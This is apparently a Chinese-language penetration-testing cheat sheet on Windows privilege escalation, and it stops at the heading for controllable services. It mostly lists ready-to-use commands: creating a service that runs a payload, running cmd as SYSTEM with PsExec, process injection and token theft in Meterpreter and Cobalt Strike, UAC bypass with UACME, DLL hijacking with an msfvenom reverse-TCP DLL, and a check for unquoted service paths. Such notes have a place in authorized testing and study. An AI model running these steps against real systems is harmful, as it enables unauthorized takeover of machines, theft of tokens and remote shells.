权限提升-3

Win提权

服务启动

sc是用于与服务控制管理器和服务进行通讯的命令行程序。
使用版本:windows 7,10,08,12,16,19,22,早期用at命令
1,创建一个名叫syscmd的执行文件

1
sc Create syscmd binPath="C:\msf.exe"

2,运行服务

1
sc start syscmd

Psexec提权

(适用于 Win2003 & Win2008)
Psexec是Systinternals出品的强大工具,可以让你在远程系统上执行命令
下载地址:
https://download.sysinternals.com/files/PSTools.zip

1
2
psexec -i -s -d cmd #以system权限运行cmd
psexec.exe -accepteula -i -s -d cmd.exe #加上-accepteula参数,避免弹出许可协议

进程注入

MSF:

1
2
ps //查看进程
migrate PID //迁移对应PID

CS:

1
2
ps //查看进程
inject PID //注入对应PID

令牌窃取

MSF:

1
2
3
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

CS:

1
2
3
ps //查看进程
steal_token PID //窃取进程令牌
spawnu PID //窃取进程令牌上线

UAC绕过

1,MSF模块

2,UACME项目
https://github.com/hfiref0x/UACME
Akagi64.exe 编号 调用执行

DLL劫持

在掌握的权限中,需要知道有哪些应用,应用知道后怎么分析调用的dll,尝试对dll文件进行覆盖,程序被执行后就会调用覆盖的dll

原理:Windows程序启动的时候需要DLL。如果这些DLL不存在,则通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定好的搜索DLL的路径,它会根据下面顺序进行搜索:
1,应用程序加载的目录
2,C:\Windows\System32
3,C:\Windows\System
4,C:\Windows
5,当前工作目录Currnet Working Directory,CWD
6,在PATH环境变量的目录(先系统后用户)
过程:信息收集-进程调试-制作dll并上传-替换dll-等待启动应用成功
检测调用的dll文件:ChkDllHijack 火绒剑
项目:https://github.com/anhkgg/anhkgg-tools
利用火绒剑进行进程分析加载DLL,一般寻程序DLL利用。
msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f dll -o msf.dll
将msf.dll替换成应用程序调用的dll文件,后重新启动应用(更偏向于钓鱼)

未引导号路径

如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的!
漏洞原理
假设服务路径是:C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe

  • 带引号时: “C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe”会被看成一个完整的服务路径,没有漏洞。
  • 不带引号时: Windows会认为C:\Program空格后面的为Program这个程序的参数,导致攻击者可以创建一个名为Program.exe的后门文件放在C盘下,等待服务启动时执行。
    漏洞检测
1
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:Windows\" | findstr /i /v """

可控服务